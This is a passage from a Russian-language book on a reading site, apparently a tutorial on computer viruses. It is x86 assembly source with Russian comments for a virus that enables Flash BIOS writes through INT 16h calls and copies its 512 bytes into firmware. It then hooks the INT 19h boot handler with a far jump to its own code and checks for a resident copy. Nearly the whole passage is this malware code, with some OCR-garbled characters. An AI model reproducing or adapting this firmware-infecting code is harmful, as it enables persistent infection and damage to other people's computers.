je ok_new_segment

jmp test16

; B эту точку попадаем, если место найдено

Found_storage:

; Перейдем к началу зоны

sub ax, 40h

mov ds, ax

; Получим требования к сохранению состояния чипа

mov ax, 0E001h

int 16h

; Проверим, сколько памяти необходимо для сохранения состояния

; чипа. Если слишком много, не будем сохранять состояние

cmp bx, 512

jbe save_chipset

; Установим флаг, показывающий, что состояние не сохраняли

mov byte ptr cs:chipset, 1

; Перейдем к записи

jmp write_enable

; Сюда попадаем, если Flash BIOS не обнаружен:

; записывать некуда – выходим

No_Flash_BIOS:

ret

; Сохраним состояние чипа

save_chipset:

; Установим флаг, показывающий, что состояние сохранили

mov byte ptr cs:chipset, 0

; Сохраним состояние

mov al, 2

push cs

pop es

mov di, offset buffer

int 16h

; Записываемся во Flash BIOS

write_enable:

; Повышаем напряжение

mov al, 5

int 16h

; Разрешаем запись во Flash BIOS

mov al, 7

int 16h

; Копируем 512 байт вируса во Flash BIOS

push ds

pop es

xor di, di

mov cx, 512

push cs

pop ds

xor si, si

cld

rep movsb

mov bx, es ; ВХ=сегмент вируса

xor ах, ах

mov ds, ax ; DS=Ta6nHua векторов

mov di, word ptr [19h*4] ; Смещение INT 19h

mov es, word ptr [19h*4+2] ; Сегмент INT 19h

; 3апишем JMP FAR по адресу точки входа в INT 19h

mov al, 0EAh

stosb

mov ax, offset int19handler

stosw

mov ax, bx

stosw

; Понизим напряжение

mov ax, 0E004h

int 16h

; 3ащитим Flash BIOS от записи

mov al, 6

int 16h

; Проверим, сохранялось ли состояние чипа, если нет – выходим

cmp byte ptr cs:chipset, 0

jne No_Flash_BIOS

; Восстановим состояние чипа

push cs

pop es

mov al, 3

mov di, offset buffer

int 16h

jmp No_Flash_BIOS

; Флаг несохранения состояния чипа

chipset db 0

; Флаг присутствия вируса во Flash BIOS

flash_done db 0

; Наш обработчик INT 19h.

int19Handler Proc Near

; Установим сегментный регистр ES в ноль

хог ах, ах

mov es, ax

; Проверим наличие резидентного вируса

mov ax, 0ABBAh

int 13h

; Если вирус присутствует, то запускаем оригинальный

; обработчик прерывания INT 19h

cmp ax, 0BAABh

jne real_int19h

; Перенесем вирус из BIOS в boot-буфер

push cs

pop ds

cld

xor si, si

Добавить отзыв
ВСЕ ОТЗЫВЫ О КНИГЕ В ИЗБРАННОЕ

0

Вы можете отметить интересные вам фрагменты текста, которые будут доступны по уникальной ссылке в адресной строке браузера.

Отметить Добавить цитату